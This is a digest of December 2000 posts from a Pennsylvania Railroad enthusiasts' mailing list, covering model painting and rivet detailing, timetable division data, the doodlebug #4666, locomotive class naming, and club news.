From: "Jeff Knorek" <jknorek@mail.msen.com>

Subject: Re: [PRR] RE: Bayard Branch Question

Date: Fri, 1 Dec 2000 07:44:39 -0500



Al-

I emailed you a reply personally, but the email bounced I'll

say it out here on the group:



THANK YOU very much for your reply.



Jeff Knorek



> The Bayard Branch was built by the C&P in sections  <snip>





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Date: Fri, 01 Dec 2000 08:14:43 -0500

From: Park Varieties <parkvarieties@provide.net>

Subject: Re: [PRR] Tender painting



Challenger Imports, who are also known for accurate steam engine painting,

painted the trainphone appliances black on their recently released M-1's

along with the oxide red tender deck and  coal bunker interior.



Frank Brua



Gary Mittner wrote:



> Kris,

>

>      Again, no color shots to proove the color but the assumption is

> they are painted Black, not Red/Orange or DGLE. According to 1929

> painting instructions all piping and I believe all appliances were

> painted Black. Antenna sytems probably came in later and most likely

> fell into the same instructions.

>       On Brass Models imported by Key, which is one of the best

> finishers on the market, they paint the mast and antenna Black.

> They, (Key), also paints the interrior of the coal bin red/orange too. I

> just  can't seem to get myself to do that extra detail. So I paint my

> tender bunkers DGLE. Hope this helps in some way.....Gary

>

>

> Come visit my PRR Pages.... Photos, Models, Historical Items, Art

> Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

> http://homepages.go.com/~prrk4

> ..  http://homepages.go.com/~prrg5

> and......

> http://community.webtv.net/mittner/THEHOMEOFGARY...

> http://community.webtv.net/mittner/PENNSYLVANIA

>

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Date: Fri, 01 Dec 2000 08:54:09 -0500

From: Dennis Rockwell <dennis@bbn.com>

Subject: [PRR] Re: K2's and back-dating (longish) [PRR]





george.pierson@trnty.edu wrote on 00/11/29 8:26 pm:



> [ ... ] When I add it all up, I think it will be a fun change. Already I 

>really get a  kick out of watching all those vertical 

>brakewheels rolling along. [ ... ]



Don't forget the occasional rooftop brakeman!



Thanks for the reasoning.



Dennis



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Date: Fri, 01 Dec 2000 09:44:05 -0500

From: Drew McGhee <drm6@psu.edu>

Subject: Re: [PRR] Which Region Were These Divisions In?



Jerry and the group,



Here's some info I dug up last night from my ETT collection.



4/26/31 TT # 12 

Eastern Region 

Central Pennsylvania Division

Williamsport Division



4/30/50 TT # 9

Central Region

Northern

Buffalo Division



4/29/51 (Forgot to mark down TT #)

Central Region

Northern Division



9/30/51TT #1

Eastern Region

Susquehanna Division



9/28/52 TT #2

Eastern Region 

Susquehanna Division



9/27/53 TT #3

Eastern Region

Susquehanna Division



9/26/54 TT #4

Eastern Region

Susquehanna Division



10/30/55 TT #5

Northern Region 

Susquehanna District



4/24/55 TT #7

Central Region

Northern Division



Hope this helps.



Drew R. McGhee

Altoona, PA

drm6@psu.edu

http://www.personal.psu.edu/staff/d/r/drm6/

 



At 10:06 PM 11/29/2000 -0500, Jerry Britton wrote:

>Folks, I am working on a quick little project that will benefit many: a

>"family tree" graphic which illustrates the divisional/regional structure of

>the PRR from 1941 through 1968.

>

>The first segment, 1941-1951 is clear, as is the fourth, 1956-1964, and the

>fifth, 1964-1968. I need some help on the second and third, which cover

>1951-1955.

>

>I have the division lists for these periods. However, each "operating

>division" (1951-1954) or "operating district" (1955) was a member of a

>region. There are six divisions that I am unsure of which region they

>belonged to.

>

>If anyone has an ETT for any of the following divisions, dated between 1951

>and 1955, please check the cover. The region will be named directly above

>the division/district name.

>

>Here are the divisions in question:

>

>* Susquehanna      (will be either Eastern or Central)

>* Northern         (will be either Eastern or Central)

>* Lake             (I fully expect this to be Central)

>* Panhandle        (will be either Central or Western)

>* Cincinatti       (I fully expect this to be Western)

>* Southwestern     (I fully expect this to be Western)

>

>PLEASE, no conjecture or assumptions. I need a response from someone with

>the appropriate employee timetable in hand!

>

>Many thanks!

>---------------------------------------------------------------------

>Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS





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Date: Fri, 1 Dec 2000 12:44:44 -0600

From: "Bruce F. Smith V.M.D., Ph.D." <smithbf@mail.auburn.edu>

Subject: [PRR] GEG 415 #4666



Hi all,



I managed to pick up an HO scale PRR doodlebug, #4666, (NJ Custom Brass) on

ebay a month or so ago, and I have since come up with a few questions!

Some searching last night turned up the fact that this car may have

operated out of Baltimore (a photo in Ball's PRR 40's and 50's book).  From

the NJI Pennsylvania RR Heavyweight Passenger Equipment Plan and Photo

Book, this car is class GEG 415, built by Brill.  Other members of the

class were #s 4667-4670.  As classified these were gas-electrics, with GE

electrical gear and rated at 415 hp, a relatively high hp rating for a

doodlebug, indicating that they may have been intended to pull a trailer

(confirmed by photos of #4666)  The drawing lists them as "adapted 1930" -

is this supposed to be "adopted"?  These cars are somewhat unusual looking

as the round roof section stops abruptly  a foot or so before the end of

the car with the remaining roof being flat and even with the top of the

carbody.  Thus both ends have a chopped look to them!



What were the service dates on these cars (built, modified, scrapped)?

Were they ever converted to oil? (and if so, when?)

Where were they assigned?



Happy Rails

Bruce



Bruce F. Smith V.M.D., Ph.D.

Scott-Ritchey Research Center

334-844-5587, 334-844-5850 (fax)

http://www.vetmed.auburn.edu/~smithbf/



"Beer is proof that God loves us and wants us to be happy" - Benjamin Franklin

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From: "Rob Schoenberg" <robs@actel.com>

Subject: RE: [PRR] GEG 415 #4666

Date: Fri, 1 Dec 2000 14:37:16 -0500



They were definitly converted to oil as the diagrams on my site lists the

4666

as OEG415 with a Hamilton 6 cylinder enginer w/ 425 horsepower.



elevation:

http://prr.railfan.net/diagrams/PRRdiagrams.html?diag=oeg415.gif&sel=gaselec

tric



floorplan:

http://prr.railfan.net/diagrams/PRRdiagrams.html?diag=oeg415_fp.gif&sel=gase

lectric



The quality of the diagrams isn't the greatest but...



Rob





> -----Original Message-----

> From: PRR-Talk@dsop.com [mailto:PRR-Talk@dsop.com]On Behalf Of Bruce F.

> Smith V.M.D., Ph.D.

> Sent: Friday, December 01, 2000 1:45 PM

> To: prr-talk@dsop.com

> Subject: [PRR] GEG 415 #4666

>

>

> Hi all,

>

> I managed to pick up an HO scale PRR doodlebug, #4666, (NJ Custom

> Brass) on

> ebay a month or so ago, and I have since come up with a few questions!

> Some searching last night turned up the fact that this car may have

> operated out of Baltimore (a photo in Ball's PRR 40's and 50's

> book).  From

> the NJI Pennsylvania RR Heavyweight Passenger Equipment Plan and Photo

> Book, this car is class GEG 415, built by Brill.  Other members of the

> class were #s 4667-4670.  As classified these were gas-electrics, with GE

> electrical gear and rated at 415 hp, a relatively high hp rating for a

> doodlebug, indicating that they may have been intended to pull a trailer

> (confirmed by photos of #4666)  The drawing lists them as "adapted 1930" -

> is this supposed to be "adopted"?  These cars are somewhat unusual looking

> as the round roof section stops abruptly  a foot or so before the end of

> the car with the remaining roof being flat and even with the top of the

> carbody.  Thus both ends have a chopped look to them!

>

> What were the service dates on these cars (built, modified, scrapped)?

> Were they ever converted to oil? (and if so, when?)

> Where were they assigned?

>

> Happy Rails

> Bruce

>

> Bruce F. Smith V.M.D., Ph.D.

> Scott-Ritchey Research Center

> 334-844-5587, 334-844-5850 (fax)

> http://www.vetmed.auburn.edu/~smithbf/

>

> "Beer is proof that God loves us and wants us to be happy" -

> Benjamin Franklin

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From: "Andrews, Ted" <Ted.Andrews@Woolpert.com>

Subject: RE: [PRR] GEG 415 #4666

Date: Fri, 1 Dec 2000 16:21:03 -0500 





Bruce and the gang:



>From the photos that I have seen, this class of Doodlebug seemed to be only

assigned in the east coast. Other doodlebugs such as the Brill 250's and

350's seemed to be assigned system wide especially in the midwest.



BTW, has anyone heard if these types of doodlebugs (by Brill) are going to

be produced in plastic? I have heard rumors that Walthers will produce a

doodlebug in addition to their Sperry Railcar. I hope that it is the Brill

350 since (IMHO) is one of the most aesthetic doodlebugs produced. 





Has anyone heard anything?





Ted Andrews

Carmel, Indiana 

-----Original Message-----

From: Bruce F. Smith V.M.D., Ph.D. [mailto:smithbf@mail.auburn.edu]

Sent: Friday, December 01, 2000 1:45 PM

To: prr-talk@dsop.com

Subject: [PRR] GEG 415 #4666





Hi all,



I managed to pick up an HO scale PRR doodlebug, #4666, (NJ Custom Brass) on

ebay a month or so ago, and I have since come up with a few questions!

Some searching last night turned up the fact that this car may have

operated out of Baltimore (a photo in Ball's PRR 40's and 50's book).  From

the NJI Pennsylvania RR Heavyweight Passenger Equipment Plan and Photo

Book, this car is class GEG 415, built by Brill.  Other members of the

class were #s 4667-4670.  As classified these were gas-electrics, with GE

electrical gear and rated at 415 hp, a relatively high hp rating for a

doodlebug, indicating that they may have been intended to pull a trailer

(confirmed by photos of #4666)  The drawing lists them as "adapted 1930" -

is this supposed to be "adopted"?  These cars are somewhat unusual looking

as the round roof section stops abruptly  a foot or so before the end of

the car with the remaining roof being flat and even with the top of the

carbody.  Thus both ends have a chopped look to them!



What were the service dates on these cars (built, modified, scrapped)?

Were they ever converted to oil? (and if so, when?)

Where were they assigned?



Happy Rails

Bruce



Bruce F. Smith V.M.D., Ph.D.

Scott-Ritchey Research Center

334-844-5587, 334-844-5850 (fax)

http://www.vetmed.auburn.edu/~smithbf/



"Beer is proof that God loves us and wants us to be happy" - Benjamin

Franklin

                           __

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From: Bobspf@aol.com

Date: Fri, 1 Dec 2000 17:33:41 EST

Subject: Re: [PRR] GEG 415 #4666



In a message dated 12/1/00 4:19:50 PM Central Standard Time, 

Ted.Andrews@Woolpert.com writes:



<< I hope that it is the Brill

 350 since (IMHO) is one of the most aesthetic doodlebugs produced.  >>



Agree.  And at least it is doubleended.  Once again, Bachmann's choices of 

prototypes, such as the single-ended gas-electric, baffle me. Guess it 

doesn't make a difference if you are just running around a Christmas tree.



Bob Zoeller



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From: "Kris Kollar" <kkollar@cplx.net>

Subject: Re: [PRR] Tender painting

Date: Fri, 1 Dec 2000 17:57:59 -0500



Call me crazy but this is what I did.  First determine which lines of rivets

need to be removed.  Next use short strips of cellophane tape.  I used the

cheapo high gloss kind since it is easier to see through.  Lay the strip of

tape parallel over the rivets to be removed...  Only about 1/16'' of tape

should hang over one side of the row of rivets.  The edge of the tape that

hangs over the 1/16" must not be pressed or burnished down onto the surface

of the tender, the other side can be pressed down onto the tender side.

Next get a brand new chisel blade , slide it under the edge of tape that is

raised off the tender side and carefully and closely shave off the rivet

head.  The tape should catch every rivet head.  Take care to get as much of

rivet off as possible.  Two reasons,  1- less sanding to remove any trace of

the old rivet pattern and 2- you're saving them to reapply at a later date.

Repeat -- reapply the old rivet heads at a later date.



Once you've removed all the necessary rivets, use a sharp pencil and a

straight edge to draw the new patterns onto the side of the tender.  Use

mechanical dividers and use the existing rivets to determine the proper

spacing for the soon to be applied rivet heads.  Use the sharp, needle like

mechanical divider points to mark the locations for the new heads.  Use a

brand new #11 blade, carefully pick the old rivets heads off the tape and

glue each one in place with liquid cement using a very fine paint brush to

control the glue.



I did this over about a ten day period but I did it 15 - 30 minute blocks.

All totaled it was about 2 evenings work.



I'm satisfied with the results.  I hope to show off this work in a new

article I hope to publish in Mainline Modeler



Kris





----- Original Message -----

From: <Prr1187@aol.com>

To: <kkollar@cplx.net>

Sent: Thursday, November 30, 2000 10:19 PM

Subject: Re: [PRR] Tender painting





> Please advise how you changed the rivet pattern.

>

> I guess that you shaved off the ones you don't want,

> but how did you add rivets?

>

> Thank you,

> Dennis





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From: "boxcar46" <boxcar46@nfdc.net>

Subject: Re: [PRR] GEG 415 #4666

Date: Fri, 1 Dec 2000 20:58:22 -0500



#4666, operated out of Baltimore as the Parkton Local, to Parkton, Maryland.

Sometimes it would run to New Freedom and turn on the "Y", but these were

rare.  Most times it pulled a p-70 coach.  It has been restored and operates

on the Black River & Western RR.  It is a great ride in a Bug.





Bill  Knepper

PRRT&HS # 1818

(boxcar46@nfdc.net)

End of the NCR tracks, New Freedom, Pa.



-----Original Message-----

From: Andrews, Ted <Ted.Andrews@Woolpert.com>

To: 'Bruce F. Smith V.M.D., Ph.D.' <smithbf@mail.auburn.edu>;

prr-talk@dsop.com <prr-talk@dsop.com>

Date: Friday, December 01, 2000 5:12 PM

Subject: RE: [PRR] GEG 415 #4666





>

>Bruce and the gang:

>

>>From the photos that I have seen, this class of Doodlebug seemed to be

only

>assigned in the east coast. Other doodlebugs such as the Brill 250's and

>350's seemed to be assigned system wide especially in the midwest.

>

>BTW, has anyone heard if these types of doodlebugs (by Brill) are going to

>be produced in plastic? I have heard rumors that Walthers will produce a

>doodlebug in addition to their Sperry Railcar. I hope that it is the Brill

>350 since (IMHO) is one of the most aesthetic doodlebugs produced.

>

>

>Has anyone heard anything?

>

>

>Ted Andrews

>Carmel, Indiana

>-----Original Message-----

>From: Bruce F. Smith V.M.D., Ph.D. [mailto:smithbf@mail.auburn.edu]

>Sent: Friday, December 01, 2000 1:45 PM

>To: prr-talk@dsop.com

>Subject: [PRR] GEG 415 #4666

>

>

>Hi all,

>

>I managed to pick up an HO scale PRR doodlebug, #4666, (NJ Custom Brass) on

>ebay a month or so ago, and I have since come up with a few questions!

>Some searching last night turned up the fact that this car may have

>operated out of Baltimore (a photo in Ball's PRR 40's and 50's book).  From

>the NJI Pennsylvania RR Heavyweight Passenger Equipment Plan and Photo

>Book, this car is class GEG 415, built by Brill.  Other members of the

>class were #s 4667-4670.  As classified these were gas-electrics, with GE

>electrical gear and rated at 415 hp, a relatively high hp rating for a

>doodlebug, indicating that they may have been intended to pull a trailer

>(confirmed by photos of #4666)  The drawing lists them as "adapted 1930" -

>is this supposed to be "adopted"?  These cars are somewhat unusual looking

>as the round roof section stops abruptly  a foot or so before the end of

>the car with the remaining roof being flat and even with the top of the

>carbody.  Thus both ends have a chopped look to them!

>

>What were the service dates on these cars (built, modified, scrapped)?

>Were they ever converted to oil? (and if so, when?)

>Where were they assigned?

>

>Happy Rails

>Bruce

>

>Bruce F. Smith V.M.D., Ph.D.

>Scott-Ritchey Research Center

>334-844-5587, 334-844-5850 (fax)

>http://www.vetmed.auburn.edu/~smithbf/

>

>"Beer is proof that God loves us and wants us to be happy" - Benjamin

>Franklin

>                           __

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>

>

>

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From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: [PRR] PRR doodlebugs

Date: Fri, 1 Dec 2000 21:34:11 -0500



List:



"Steel Rails to the Sunrise" has a photograph of PRR 4744 in use on the

LIRR, which seems smaller than the 250's on Ron's list of equipment

diagrams. Does anyone know what type it is and if there are any better

photo's and diagrams of this car?



Gregg Mahlkov





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From: "Claus Schlund" <schlund@cwnet.com>

Date: Fri, 1 Dec 2000 19:41:28 -0800

Subject: Re: [PRR] Re: PRR K2s class



Hi Doug,



Doug wrote:



> I'm sure you know about the N&W E-3 article series in

> Model Railroading Magazine; check the Model Train

> Magazine Index link on Model Railroader's home page

> (www.modelrailroader.com)for exact dates.  I bought

> the series back issues.  Basically it involves taking

> a Bachmann K4s, shortening the firebox, and changing

> the cab to a 4 window cab.  



I've been toying with the idea of doing a K2 or K3 in N scale

for some years now, and the notion of starting with

a K4 shell (available in N as well as HO) is a logical

one. However, the K4 had a tapered boiler (fat in

the middle, narrowing out toward the smokebox) and the

K2/K3 class had a totally straight boiler. This would

be quite a noticable discrepancy in both scales.

My feeling is that a new boiler, possibly a length of brass

or plastic tubing, would be in order.



  -  Claus





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From: RDG2124@aol.com

Date: Sat, 2 Dec 2000 01:38:36 EST

Subject: Re: [PRR] GEG 415 #4666



Ted,



  Have heard nothing about a plastice Brill from anyone. 



  As for the Sperry car,  CDS Lettering Ltd. makes a Sperry set for those 

wanting to customize the Walthers car.



Evan



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Date: Sat, 2 Dec 2000 07:28:05 -0800 (PST)
From: Geoffrey Van Dooren <geoff_vandooren@yahoo.com>
Subject: RE: [PRR] Ho scale models of GG1

Can someone tell me who makes plastic dummys DGLE with
5 stripes?
Geoffrey

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Date: Sat, 02 Dec 2000 15:22:47 -0500

From: John W Rosenbauer <jlrosen@wpa.net>

Subject: Re: [PRR] Ho scale models of GG1



Don't know where you live but here in the Pittsburgh area the

Shop-N-Save grocery store are selling an IHC HO set that includes a 5

stripe Tuscan GG-1 with a pair of boxcars(toss em) and a non-PRR

cabin(toss it) for $49.95. 

I suspect the G is not a Premier version but it looks good. 



J.W.Rosenbauer



Geoffrey Van Dooren wrote:

> 

> Can someone tell me who makes plastic dummys DGLE with

> 5 stripes?

> Geoffrey



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Date: Sat, 02 Dec 2000 19:09:18 -0400

From: prrbill <prrbill@Op.Net>

Subject: [PRR] Phila. Chapter Officers elected



At today's PRRT&HS Philadelphia Chapter meeting, the membership elected

unopposed the following officers:



President:              Al Gianntonnio

Vice President:      Joe Butler

Board Secretary:   Dan Diaddezio

Treasurer:             Charlie Horan



The Philadelphia Chapter would like to extend its sincere thanks and

gratitude to retiring President Frank Tatnall and retiring Vice

President Phil Ritter for their generous and unselfish service over the

years.  Also, Fred Monsimer has agreed to continue as our recording secretary.



Bill Morlitz, 

Website Superintendent



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From: "Gene Deimling" <endeimling@mindspring.com>

Subject: [PRR] Keystone Crossings?

Date: Sat, 2 Dec 2000 18:13:16 -0800



Did I miss something this week?   What happen to normal format at Keystone

Crossings?  What is this "Virtual Pennsy" stuff?

Gene Deimling





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Date: Sat, 2 Dec 2000 19:05:34 -0800 (PST)

From: Doug Kisala <dougkisala@yahoo.com>

Subject: Re: [PRR] Tender painting



Kris, list,



One minor point of correction; Bachmann's tender as it

comes is a 110P70.  I have also converted two of these

into more or less accurate replicas of 110P75a

tenders.



  As far as painting goes, I painted the antenna set

on my T-1 the tender body color (in my case, Polly

Scale's grimy black); pick your favorite shade of dark

green locomotive enamel.  I painted the deck and coal

bunker a reddish color (Testor's Model Master acrylic

rust), but painted all of the accessories, like

ladders and water hatches the tender body color.



As with your L1s article, I'm sure it will be great!



Doug







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Date: Sat, 2 Dec 2000 19:11:47 -0800 (PST)

From: Doug Kisala <dougkisala@yahoo.com>

Subject: [PRR] Re: [PRR-FAX] MP =steam, The "s" in K4s?



Dominic, list



PRR's steam fleet retained the s for superheating

until the end in 1957 (unlike CNJ, which dropped the s

circa 1944).  Most folks eliminate it as sort of

redundant, which it is; all K4s engines were

superheated.  What made it relevant was when older

saturated engines were upgraded with superheaters.



As an example, Fred Westing asserts in his book Pennsy

Steam and Semaphores that the E3d Atlantics were

considered sluggish because of the constant lead of

their piston valves (vs the variable lead of the slide

valved E3a class) until they were superheated, and

then they were considered the better engine.



Anyway, I'm trained as a historian (amongst other

things), and I try to be as precise as I can.  At the

same time, the s is just a letter, and when all of the

engines in a class were superheated, it's probably not

relevant.



Doug







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From: NDBPRR@aol.com

Date: Sun, 3 Dec 2000 00:37:03 EST

Subject: [PRR] GG1 #4800





--part1_a3.ec56962.275b35ff_boundary

Content-Type: text/plain; charset="US-ASCII"

Content-Transfer-Encoding: 7bit



Pictures show an external roof mounted cable connecting the pantographs on 

#4800.  Was this moved internally on subsequent G's or eliminated?



--part1_a3.ec56962.275b35ff_boundary

Content-Type: text/html; charset="US-ASCII"

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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>Pictures show an external roof mounted cable connecting the pantographs on <BR>#4800. &nbsp;Was this moved internally on subsequent G's or eliminated?</FONT></HTML>



--part1_a3.ec56962.275b35ff_boundary--



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Date: Sun, 3 Dec 2000 02:28:57 -0800 (PST)

From: Geoffrey Van Dooren <geoff_vandooren@yahoo.com>

Subject: [PRR] 1954 Layout



Bruce, after reading your mail I started thinking. 

See, I live in Belgium (Europe) where american

railroad books and models are hard to find.  But my

local modelstore is slowly starting with this after I

convinced them that its a potential great market. 

They only have the Walthers catalog to choose from but

not al manufactures are included. Is there another

combined catalog? (Bethlehem, Model Memories,...)

So for now I don't have many books on the Pennsy -also

because I got interesteded in the PRR a big year ago-

therefore I choosed Lancaster, not knowing that this

was so extensiveness.

See, I want a 1954 layout with 2 electrified tracks, a

small passenger station with a few (3 or 4) platforms,

a coach yard, a small yard with auxiliary tracks for

shops, MOW and some buildings, a few streets with

houses and all this in a rural and woody landscape 

using steam, diesel and electrified locomotives.

So it will become a fictious layout with a lot of

combinations from various places.  Maybe this is even

more intresting than modelling only one location

because now I have the possibility to combine several

different Pennsy scenes.

The only problem is that I don't know how to start

with this.  I know how a big yard looks like, but a

small yard or a coach yard and al the buildings

surrounding them? Never seen on a photo.  Do you know

some sites were I can find this specific information

or some helpfull books?  If you have suggestions or

tips, they are always welcome.

Thanks,Geoffrey



Is there someone else on this list, that lives in

Europe?  Contact me off list.    



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From: "gregory" <gas@fastinet.net>

Subject: [PRR] Moving

Date: Sun, 3 Dec 2000 07:15:52 -0800



This is a multi-part message in MIME format.



------=_NextPart_000_000F_01C05CF8.DEFF6C20

Content-Type: text/plain;

	charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



I am going to relocate back to Pennsylvania from california. I will be =

living in brookville, near dubois. Anyone on the list live near this =

area or know of a model railroading shop around this area?

--Greg



------=_NextPart_000_000F_01C05CF8.DEFF6C20

Content-Type: text/html;

	charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META content=3D"text/html; charset=3Diso-8859-1" =

http-equiv=3DContent-Type>

<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT face=3DArial size=3D2>I am going to relocate back to =

Pennsylvania from=20

california. I will be living in brookville, near dubois. Anyone on the =

list live=20

near this area or know of a model railroading shop around this=20

area?</FONT></DIV>

<DIV><FONT face=3DArial size=3D2>--Greg</FONT></DIV></BODY></HTML>



------=_NextPart_000_000F_01C05CF8.DEFF6C20--





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From: Bisbeelaw@cs.com

Date: Sun, 3 Dec 2000 11:34:33 EST

Subject: Re: [PRR] Re: [PRR-FAX] MP =steam, The "s" in K4s?



The "s" was in common usage by the PRR during the steam era. Shouldn't we be 

accurate and use it in referring to locomotives which were so designated by 

the railroad we follow?



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From: "Jerry Shickler" <geshick@velocity.net>

Subject: Fw: [PRR] Re: [PRR-FAX] MP =steam, The "s" in K4s?

Date: Sun, 3 Dec 2000 11:27:34 -0500





Jerry Shickler

Visit the PRR P&E, E&P, Chautauqua branches web page at:

http://www.velocity.net/~geshick/prr/prrmain.htm



----- Original Message -----

From: Jerry Shickler <geshick@velocity.net>

To: Doug Kisala <dougkisala@yahoo.com>

Sent: Saturday, December 02, 2000 11:58 PM

Subject: Re: [PRR] Re: [PRR-FAX] MP =steam, The "s" in K4s?





> I believe that if the class existed before superheating was introduced,

the

> 's' was used to indicate superheating.  Classes which were introduced

after

> superheating became standard (was it something like 1923?) did not use the

> 's'.

> __

> Jerry Shickler

> Visit the PRR P&E, E&P, Chautauqua branches web page at:

> http://www.velocity.net/~geshick/prr/prrmain.htm

>

> ----- Original Message -----

> From: Doug Kisala <dougkisala@yahoo.com>

> To: <PRR@egroups.com>; PRR talk <prr-talk@dsop.com>

> Sent: Saturday, December 02, 2000 10:11 PM

> Subject: [PRR] Re: [PRR-FAX] MP =steam, The "s" in K4s?

>

>

> > Dominic, list

> >

> > PRR's steam fleet retained the s for superheating

> > until the end in 1957 (unlike CNJ, which dropped the s

> > circa 1944).  Most folks eliminate it as sort of

> > redundant, which it is; all K4s engines were

> > superheated.  What made it relevant was when older

> > saturated engines were upgraded with superheaters.

> >

> > As an example, Fred Westing asserts in his book Pennsy

> > Steam and Semaphores that the E3d Atlantics were

> > considered sluggish because of the constant lead of

> > their piston valves (vs the variable lead of the slide

> > valved E3a class) until they were superheated, and

> > then they were considered the better engine.

> >

> > Anyway, I'm trained as a historian (amongst other

> > things), and I try to be as precise as I can.  At the

> > same time, the s is just a letter, and when all of the

> > engines in a class were superheated, it's probably not

> > relevant.

> >

> > Doug

> >

> >

> >

> > __________________________________________________

> > Do You Yahoo!?

> > Yahoo! Shopping - Thousands of Stores. Millions of Products.

> > http://shopping.yahoo.com/

> >

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>





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From: "Bill Daniels" <billd@gci-net.com>

Subject: Re: [PRR] Re: [PRR-FAX] MP =steam, The "s" in K4s?

Date: Sun, 3 Dec 2000 10:21:00 -0700



As has been already noted the small "s" was used only before superheating

became standard equipment on steam locomotives, sometime around 1923. All

new classes of steamers, starting with class G5, dropped the "s" as

superfluous. however already existing classes retained the "s" on later

reorders (such as the 1928 order of K4s locomotives) in order to maintain

consistency within the class.



Bill Daniels

----- Original Message -----

From: <Bisbeelaw@cs.com>

To: <dougkisala@yahoo.com>; <PRR@egroups.com>; <prr-talk@dsop.com>

Sent: Sunday, December 03, 2000 9:34 AM

Subject: Re: [PRR] Re: [PRR-FAX] MP =steam, The "s" in K4s?





> The "s" was in common usage by the PRR during the steam era. Shouldn't we

be

> accurate and use it in referring to locomotives which were so designated

by

> the railroad we follow?

>

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From: "aidrian.bridgeman-sutton" <aidrian.bridgeman-sutton@ntlworld.com>

Subject: Re: [PRR] Re: [PRR-FAX] MP =steam, The "s" in K4s?

Date: Sun, 3 Dec 2000 17:22:23 -0000



|Shouldn't we be accurate and use it in referring to locomotives which were

so designated by

|the railroad we follow?



Yerk... accuracy for it's own sake has little to commend it where the

meaning is otherwise clear- it rapidly descends into pedantry. Accuracy

where it is necessary to have one's meaning understood without confusion is

vital.



So once all the engines of a class are superheated it matters little whether

you add the 's' or not. But if there are saturated and superheated engines

which might be confused then please use the 's' to differentiate



Aidrian







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From: mittner@webtv.net (Gary Mittner)

Date: Sun, 3 Dec 2000 15:31:10 -0500 (EST)

Subject: [PRR] N6B Cabin



List,



    I was recently given a tracing (photocopy)  of a PRR N6b Cabin

Interrior diagram. I also have an O Scale N6b Cabin that I built years

ago with the intent on installing an interrior. I built the N6B as a

Center Cupola type. The tracing I have does not say which N6b this is

for, Center or Offset Cupola. The tracing number is E-73624. Looking at

the floor plan I still can not tell which this tracing is for. Is there

any info out there which will tell me exactly the N6b this tracing is

for? Thanks in advance...Gary 









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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From: "gregory" <gas@fastinet.net>

Subject: [PRR] n6b interior

Date: Sun, 3 Dec 2000 15:39:33 -0800



This is a multi-part message in MIME format.



------=_NextPart_000_002D_01C05D3F.3C14E8E0

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	charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



I believe if you follow the following it may help you determine which =

plan you have. The interior plans should show where the lockers and =

toilet were. The cupola seats are over these. If they are off center the =

cupola was off center.=20



--greg



------=_NextPart_000_002D_01C05D3F.3C14E8E0

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	charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META content=3D"text/html; charset=3Diso-8859-1" =

http-equiv=3DContent-Type>

<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT face=3DArial size=3D2>I believe if you follow the following =

it may help=20

you determine which plan you have. The interior plans should show where =

the=20

lockers and toilet were. The cupola seats are over these. If they are =

off center=20

the cupola was off center. </FONT></DIV>

<DIV>&nbsp;</DIV>

<DIV><FONT face=3DArial size=3D2>--greg</FONT></DIV></BODY></HTML>



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From: "Wayne S. Betty" <cos@mycyberlink.net>

Subject: RE: [PRR] Moving

Date: Sun, 3 Dec 2000 19:59:01 -0500



This is a multi-part message in MIME format.



------=_NextPart_000_0004_01C05D63.7B62EC80

Content-Type: text/plain;

	charset="iso-8859-1"

Content-Transfer-Encoding: 7bit



Sorry Greg:

Wrong side of the State Greg,  however you are about 2000 miles closer than

CA.

Cos

  -----Original Message-----

  From: PRR-Talk@dsop.com [mailto:PRR-Talk@dsop.com]On Behalf Of gregory

  Sent: Sunday, December 03, 2000 10:16 AM

  To: PRR talk

  Subject: [PRR] Moving





  I am going to relocate back to Pennsylvania from california. I will be

living in brookville, near dubois. Anyone on the list live near this area or

know of a model railroading shop around this area?

  --Greg



------=_NextPart_000_0004_01C05D63.7B62EC80

Content-Type: text/html;

	charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD>

<META content=3D"text/html; charset=3Diso-8859-1" =

http-equiv=3DContent-Type>

<META content=3D"MSHTML 5.00.3105.105" name=3DGENERATOR>

<STYLE></STYLE>

</HEAD>

<BODY bgColor=3D#ffffff>

<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =

class=3D450565600-04122000>Sorry=20

Greg:</SPAN></FONT></DIV>

<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =

class=3D450565600-04122000>Wrong=20

side of the State Greg,  however you are about 2000 miles closer than=20

CA.</SPAN></FONT></DIV>

<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20

class=3D450565600-04122000>Cos</SPAN></FONT></DIV>

<BLOCKQUOTE=20

style=3D"BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =

0px; PADDING-LEFT: 5px">

  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =

face=3DTahoma=20

  size=3D2>-----Original Message-----<BR><B>From:</B> PRR-Talk@dsop.com=20

  [mailto:PRR-Talk@dsop.com]<B>On Behalf Of </B>gregory<BR><B>Sent:</B> =

Sunday,=20

  December 03, 2000 10:16 AM<BR><B>To:</B> PRR talk<BR><B>Subject:</B> =

[PRR]=20

  Moving<BR><BR></DIV></FONT>

  <DIV><FONT face=3DArial size=3D2>I am going to relocate back to =

Pennsylvania from=20

  california. I will be living in brookville, near dubois. Anyone on the =

list=20

  live near this area or know of a model railroading shop around this=20

  area?</FONT></DIV>

  <DIV><FONT face=3DArial =

size=3D2>--Greg</FONT></DIV></BLOCKQUOTE></BODY></HTML>



